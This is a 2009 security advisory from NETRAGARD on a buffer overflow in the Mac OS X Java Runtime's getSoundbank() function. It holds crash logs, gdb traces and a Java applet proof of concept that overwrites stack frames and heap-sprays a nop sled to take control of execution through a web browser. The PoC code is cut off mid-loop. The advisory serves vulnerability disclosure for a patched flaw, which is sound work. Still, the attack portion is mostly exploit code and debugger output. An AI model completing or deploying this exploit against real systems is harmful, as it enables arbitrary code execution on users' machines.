[Advisory Summary]
-----------------------------------------------------------------------
Advisory Author : Adriel T. Desautels
Researcher : Kevin Finisterre
Advisory ID : NETRAGARD-20091219
Product Name : Mac OS X Java Runtime
Product Version : < Java for Mac OS X 10.6 Update 1
Vendor Name : http://www.apple.com, http://www.sun.com
Type of Vulnerability : Buffer Overflow
Impact : Arbitrary Code Execution
Vendor Notified : Yes
Patch Released : http://support.apple.com/kb/HT3969
Discovery Date : 11/13/2009
[POSTING NOTICE]
-----------------------------------------------------------------------
If you intend to post this advisory on your web-site you must provide
a clickable link back to http://www.netragard.com. The contents of
this advisory may be updated without notice.
[Product Description]
-----------------------------------------------------------------------
Mac OS X is the only major consumer operating system that comes complete
with a fully configured and ready-to-use Java runtime and development
environment. Professional Java developers are increasingly turning to
the feature-rich Mac OS X as the operating system of choice for both
Mac-based and cross-platform Java development projects. Mac OS X
includes
the full version of J2SE 1.5, pre-installed with the Java Development
Kit (JDK) and the HotSpot virtual machine (VM), so you don't have to
download, install, or configure anything.
Deploying Java applications on Mac OS X takes advantage of many built-in
features, including 64-bit support, resolution independence, automatic
support of multiprocessor hardware, native support for the Java
Accessibility API, and the native Aqua look and feel. As a result,
Java applications on Mac OS X look and perform like native applications
on Mac OS X.
[Technical Summary]
-----------------------------------------------------------------------
On November 4th, 2009 ZDI-09-076 was released and subsequently credited
to 'Anonymous'. Given the historic track record with regards to lagging
behind 3rd party "coordinated" disclosures we decided to validate
wether or not OSX was vulnerable in its current state. More importantly
we wanted to validate that the vulnerable classes were reachable via
standard web browser.
The ZDI release contained limited information but that didn't prevent
us from creating a working Proof of Concept ("PoC") for this issue.
As previously mentioned, the prime reason that we decided to look into
this
vulnerability was because we suspected that it was possible to remotely
trigger and exploit the risk via the Safari Web Browser. We were right.
The easiest way to validate this was to find an example applet that used
the getSoundbank() function and then to modify
it.
A quick glance at the Sun manual page gave us a hint as to how to
use the function.
http://java.sun.com/j2se/1.3/docs/api/javax/sound/midi/MidiSystem.html#getSoundbank(java.net.URL)
public static Soundbank getSoundbank(URL url)
throws InvalidMidiDataException, IOException
Constructs a Soundbank by reading it from the specified URL.
The URL must point to a valid MIDI soundbank file.
Parameters:
url - the source of the sound bank data
Returns:
the sound bank
Throws:
InvalidMidiDataException - if the URL does not point to valid MIDI
soundbank data recognized by the system
IOException - if an I/O error occurred when loading the soundbank
We used a google query to find an example:
http://www.google.com/search?hl=en&source=hp&q=javax.sound.midi+getSoundbank+applet&aq=f&oq=&aqi=
Luckily the example was an applet which eliminates the question of
accessibility to the vulnerability via applet tag.
http://music.columbia.edu/pipermail/jmsl/2004-November/000555.html
If you modify the above code example we can trigger the bug and get
and some additional information about it.
All of the testing below was done with appletviewer and the following
html page, coupled with our compiled proof of concept class.
$ cat index.html
getSoundBank pwn
[Technical Details]
-----------------------------------------------------------------------
http://www.zerodayinitiative.com/advisories/ZDI-09-076/ tells us there
is a 'vulnerability [that] allows remote attackers to execute arbitrary
code on vulnerable installations of Sun Microsystems Java.'
ZDI also states that 'The specific flaw exists in the parsing of
long file:// URL arguments to the getSoundbank() function.' and that
'Exploitation of this vulnerability can lead to system compromise under
the credentials of the currently logged in user.'
The code shown below in the Proof of Concept section allows us to
validate
the statements made by ZDI by triggering the bug and subsequently
crashing
the JVM.
When the JVM crashes it leaves a log behind in the /Library/Logs/Java
folder that provides useful information.
$ ls /Library/Logs/Java/
JavaNativeCrash_pid1815.crash.log
One of the important things recorded to the log is the address of
the JVM's heap. Since a heap spray is used to place shellcode at
a usable address this is quite useful.
$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log
Java information:
Version: Java HotSpot(TM) Client VM (1.5.0_13-119 mixed mode, sharing)
Virtual Machine version: Java HotSpot(TM) Client VM (1.5.0_13-119) for \
macosx-x86, built on Sep 28 2007 23:59:21 by root with gcc 4.0.1
(Apple \
Inc. build 5465)
Exception type: Bus Error (0xa) at pc=0x1755c81b
Current thread (0x0100e010): JavaThread "thread applet-test.class"\
[_thread_in_native, id=9097216]
Stack: [0xb0d97000,0xb0e17000)
Java frames: (J=compiled Java code, j=interpreted, Vv=VM code)
j com.sun.media.sound.HeadspaceSoundbank.nOpenResource(Ljava/lang/
String;)J+0
j com.sun.media.sound.HeadspaceSoundbank.initialize(Ljava/lang/
String;)V+7
j com.sun.media.sound.HeadspaceSoundbank.(Ljava/net/URL;)V+89
j com.sun.media.sound.HsbParser.getSoundbank(Ljava/net/URL;)Ljavax/
sound/midi/Soundbank;+5
j javax.sound.midi.MidiSystem.getSoundbank(Ljava/net/URL;)Ljavax/
sound/midi/Soundbank;+36
j test.init()V+339
j sun.applet.AppletPanel.run()V+197
j java.lang.Thread.run()V+11
v ~StubRoutines::call_stub
Java Threads: ( => current thread )
0x01011980 JavaThread "Java Sound Event Dispatcher" daemon
[_thread_blocked, id=9269760]
0x01011790 JavaThread "Java Sound Event Dispatcher" daemon
[_thread_blocked, id=9266176]
0x01011310 JavaThread "AWT-EventQueue-1" [_thread_blocked,
id=9249792]
0x01001440 JavaThread "DestroyJavaVM" [_thread_blocked,
id=-1333784576]
0x0100e210 JavaThread "AWT-EventQueue-0" [_thread_blocked,
id=9107968]
=>0x0100e010 JavaThread "thread applet-test.class" [_thread_in_native,
id=9097216]
0x0100cb90 JavaThread "Java2D Disposer" daemon [_thread_blocked,
id=9035264]
0x0100bda0 JavaThread "AWT-Shutdown" [_thread_blocked, id=8834048]
0x0100b900 JavaThread "AWT-AppKit" daemon [_thread_in_native,
id=-1607766176]
0x01009050 JavaThread "Low Memory Detector" daemon
[_thread_blocked, id=8411136]
0x01008580 JavaThread "CompilerThread0" daemon [_thread_blocked,
id=8506880]
0x01008120 JavaThread "Signal Dispatcher" daemon [_thread_blocked,
id=8503296]
0x01007810 JavaThread "Finalizer" daemon [_thread_blocked,
id=8483840]
0x01007570 JavaThread "Reference Handler" daemon [_thread_blocked,
id=8480256]
Other Threads:
0x01006cc0 VMThread [id=8476672]
0x01009c50 WatcherThread [id=8414720]
VM state:not at safepoint (normal execution)
VM Mutex/Monitor currently owned by a thread: None
Heap
def new generation total 4544K, used 3238K [0x25580000,
0x25a60000, 0x25a60000)
eden space 4096K, 79% used [0x25580000, 0x258a9b30, 0x25980000)
from space 448K, 0% used [0x259f0000, 0x259f0000, 0x25a60000)
to space 448K, 0% used [0x25980000, 0x25980000, 0x259f0000)
tenured generation total 60544K, used 60028K [0x25a60000,
0x29580000, 0x29580000)
the space 60544K, 99% used [0x25a60000, 0x294ff048, 0x294ff200,
0x29580000)
compacting perm gen total 8192K, used 1093K [0x29580000,
0x29d80000, 0x2d580000)
the space 8192K, 13% used [0x29580000, 0x29691698, 0x29691800,
0x29d80000)
ro space 8192K, 63% used [0x2d580000, 0x2da96c48, 0x2da96e00,
0x2dd80000)
rw space 12288K, 43% used [0x2dd80000, 0x2e2af088, 0x2e2af200,
0x2e980000)
Virtual Machine arguments:
JVM args: -Dapplication.home=/System/Library/Frameworks/
JavaVM.framework/Versions/1.5.0/Home
Java command: sun.applet.Main /Users/hostile/Desktop/index.html
launcher type: SUN_STANDARD
Note: The heap within appletviewer is located at '0x25580000'
When triggered with Safari the Heap location is slightly different
$ cat /Library/Logs/Java/JavaNativeCrash_pid1815.crash.log
...
Heap
def new generation total 6848K, used 5542K [0x1a270000,
0x1a9d0000, 0x1a9d0000)
...
In that particular trace the Safari Java heap was located at 0x1a270000.
The PoC provided below instructs appletviewer to land in a nopsled.
Futher
research will yield a functional exploit. In essence this code sprays
the
heap in order to place attacker controlled code at the proper address
range
within the heap. With several stack frames under control it is
possible to
control the flow of execution. Control of an eax address is what leads
to
final code execution.
0x1891a81b :\
call *0x2a8(%eax)
[Proof Of Concept]
-----------------------------------------------------------------------
/*
We should only need safe shellcode at this point.
Invalid memory access of location 00000000 eip=256823b6
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
[Switching to process 561 thread 0x15107]
0x256823b6 in ?? ()
(gdb) bt
#0 0x256823b6 in ?? ()
#1 0x188fd821 in
Java_com_sun_media_sound_HeadspaceSoundbank_nOpenResource ()
#2 0x25582126 in ?? ()
Previous frame inner to this frame (gdb could not unwind past this
frame)
(gdb) x/6x 0x256823b6-12
0x256823aa: 0x90909090 0x90909090 0x90909090 0x00333031
0x256823ba: 0x00330032 0x00010033
We only crash because we ran out of code to execute...
(gdb) x/i $eip
0x256823b6: xor %esi,(%eax)
(gdb) i r $esi $eax
esi 0x0 0
eax 0x0 0
notice that frame 1's eip of 0x188fd821 is AFTER the call to eax at
0x1891a81b
(gdb) x/10i$eip
0x1891a803 : mov (%edx),%eax
0x1891a805 : mov 0x10(%ebp),%edx
0x1891a808 : mov %edi,0x8(%esp)
0x1891a80c : mov %esi,%edi
0x1891a80e : sar $0x1f,%edi
0x1891a811 : mov %edx,0x4(%esp)
0x1891a815 : mov 0x8(%ebp),%edx
0x1891a818 : mov %edx,(%esp)
0x1891a81b : call *0x2a8(%eax)
0x1891a821 : add $0x450,%esp
*/
import javax.sound.midi.*;
import java.io.*;
import java.net.*;
import java.awt.Graphics;
public class test extends java.applet.Applet
{
public static Synthesizer synth;
Soundbank soundbank;
public void init()
{
String fName = repeat('/',1080); // OSX Leopard - 10.5 Build 9A581
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_13-
b05-237)
// heap sprayed info starts at 0x25580000+12 but keep in mind we
need to be fairly ascii safe.
// 0x20 is not usable
byte[] frame = {
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - ebp
(byte)0x26, (byte)0x21, (byte)0x58, (byte)0x25, // frame 1 - eip
(byte)0x22, (byte)0x21, (byte)0x58, (byte)0x25 // frame 0 - edx
};
String mal = new String(frame);
//System.out.println(mal);
fName = "file://" + fName + mal;
try
{
synth = MidiSystem.getSynthesizer();
synth.open();
System.out.println("Spray heap\n");
String shellcode = "\u41424344" + repeat('\u9090',1000) +
"\u30313233"; // This is just a nop sled with some heading and
trailing markers.
int mb = 1024;
// Sotirov / Dowd foo follows.
// http://taossa.com/archive/bh08sotirovdowd.pdf
// Limit the shellcode length to 100KB
if (shellcode.length() > 100*1024)
{
throw new RuntimeException();
}
// Limit the heap spray size to 1GB, even though in practice the
Java
// heap for an applet is limited to 100MB
if (mb > 1024)
{
throw new RuntimeException();
}
// Array of strings containing shellcode
String[] mem = new String[1024];
// A buffer for the nop slide and shellcode
StringBuffer buffer = new StringBuffer(1024*1024/2);
// Each string takes up exactly 1MB of space
//
// header nop slide shellcode NULL
// 12 bytes 1MB-12-2-x x bytes 2 bytes
// Build padding up to the first exception. We will need to set
the eax address after this padding
// First usable addresses begin at 0x25580000+0x2121. Unfortunately
0x20 in our addresses caused issues.
// 0x2121 is 8481 in decimal, we subtract a few bytes for munging.
for (int i = 1; i < (8481/2)-4; i++)
{
buffer.append('\u4848');
}
// (gdb) x/10a 0x25582122-4
// 0x2558211e: 0x48484848 0x20202020 0x20202020 0x20202020
// 0x2558212e: 0x20202020 0x20202020 0x20202020 0x20202020
// 0x2558213e: 0x20202020 0x20202020
// Set the call address
// 0x188fd81b
:
call *0x2a8(%eax)
buffer.append('\u2122');
buffer.append('\u2558');
// 0x2a8 is 680 in decimal, once again we need filler for making
this a usable address location.
for (int i = 1; i < (680/2)-1; i++)
{
buffer.append('\u4848');
}
// where do we wanna go? 0x25582525 is right in the middle of the
following nop sled
// (gdb) x/5x 0x25582525
// 0x25582525: 0x90909090 0x90909090 0x90909090 0x90909090
// 0x25582535: 0x90909090
buffer.append('\u2525');
buffer.append('\u2558');
// We are gonna place the shellcode after this so simply fill
in remaining space with nops!
for (int i = 1; i < (1024*1024-12)/2-shellcode.length(); i++)
{
buffer.append('\u9090');
}
// Append the shellcode
buffer.append(shellcode);
// Run the garbage collector
Runtime.getRuntime().gc();
// Fill the heap with copies of the string
try
{
for (int i=0; i